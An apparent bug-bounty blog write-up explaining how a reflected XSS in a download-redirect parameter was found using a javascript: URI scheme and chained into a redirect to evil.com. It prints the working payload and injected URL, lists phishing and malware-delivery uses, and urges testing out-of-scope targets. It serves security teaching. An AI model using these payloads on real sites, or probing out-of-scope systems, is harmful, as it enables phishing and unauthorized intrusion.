Post cover image

August 15, 2026

Bypassing XSS Filters via URI Scheme & Chaining to Open Redirect

Hello hackers! Today, I want to share an old finding of mine that is quite interesting to discuss. Although this target was classified as…

By Coolorangee

3 min read

Hello hackers! Today, I want to share an old finding of mine that is quite interesting to discuss. Although this target was classified as Out of Scope (OOS) and unfortunately did not yield a bounty, the exploitation technique and discovery process are still highly valuable to document and learn from.

This case highlights the importance of understanding injection context when hunting for Cross-Site Scripting (XSS), especially when developers have implemented filters on common characters. It also demonstrates how to leverage a basic XSS (where cookie theft is not possible) into a dangerous Phishing attack vector.

🔍 Reconnaissance & Discovery

As usual, my hunting process began with URL gathering. For this phase, I utilized an automated command-line approach to collect as many endpoints as possible from the target.

I used gau (GetAllUrls) to pull historical URL data, and then filtered the results using httpx-toolkit and grep to ensure I only kept active URLs containing parameters. My go-to one-liner looks like this:

cat urls.txt | httpx-toolkit -silent | grep "=" | tee active-urls.txt

While reviewing the crawled results, my eyes caught a specific endpoint used to redirect users for an installation/download process:

https://target.com/installation?downloadUrl=https://download.target.com/12.0.6/Designer12.0.6.2506031555_Windows_x64.zip&version=12.0.6&class=designer

Noticing the downloadUrl parameter holding an external URL, I immediately flagged it as a potential entry point for Open Redirect or Cross-Site Scripting (XSS).

💥 Vulnerability Analysis & Exploitation

The Roadblock: WAF & Character Filtering

My first attempt was check for reflected parameter i was trying by inputsatu. and its reflected like following image:

None

after that i'll try to identify the unfiltered chars by add special char after the string "satu" like "satu><" and after send the request i got the special char encoded to html entity which means its got blocked (like as mention before this is an old found and i my personal record video i dont do it and just directly hit the payload), but we still have an opportunity cause now our input is on url context (href, src = url context | fyi thats my definition) to try which is scheme testing, so i just directly test on "javascript:alert(1)" and boom!! we got the pop up.

None

🔗 The Escalation: Chaining XSS to Open Redirect

On a technical note, the XSS execution here had a limitation: I could not steal user sessions by reading document.cookie (most likely due to HttpOnly flag protections). At first glance, this XSS seemed limited to a basic alert(1) JavaScript execution.

However, a bug hunter shouldn't stop at alert(1). Since the exploited parameter controls a URL destination, I decided to chain this XSS into Open Redirect to maximize the impact.

I crafted the following payload:

javascript:alert(window.location.replace(%22http://www.evil.com%22))

This payload is highly effective because it accomplishes two things simultaneously:

  1. It executes the alert() function as a Proof of Concept (PoC) that the XSS was successfully triggered.
  2. It executes window.location.replace(), which forcibly redirects the victim to an attacker-controlled site ([http://www.evil.com](http://www.evil.com)) immediately after the alert box is closed.

The final injected URL looks like this:

https://target.com/installation?downloadUrl=javascript:alert(window.location.replace(%22http://www.evil.com%22))&version=12.0.6&class=designer

🚨 Impact

Even though cookie theft failed, this XSS to Open Redirect combination carries a severe impact in social engineering scenarios:

  1. High-Trust Phishing: An attacker could set up a fake login page on evil.com. Because the initial link originates from a trusted, official domain (target.com), the victim's suspicion would be extremely low.
  2. Malicious File Distribution: Instead of downloading the official File_Designer, this payload could seamlessly redirect the victim to download malware or ransomware hosted on an external server controlled by the attacker.

💡 Takeaways

  1. Know Your Injection Context: Don't get fixated on HTML payloads like ><script>. If you are inside an href attribute, URI schemes like javascript: are your best weapon.
  2. Escalate the Impact: If document.cookie is blocked, find another way to demonstrate impact. In the case of URL parameters, chaining it to a DOM-based Open Redirect is a logical and lethal next step.
  3. OOS Doesn't Mean Useless: Out of scope targets are the best playgrounds to test your command-line recon pipelines (like gau and httpx-toolkit) and sharpen your exploitation instincts. Plus, they make for great writeups!

Thank you for reading, and I hope this bypass and chaining methodology proves useful for your own bug-hunting activities. Happy hacking!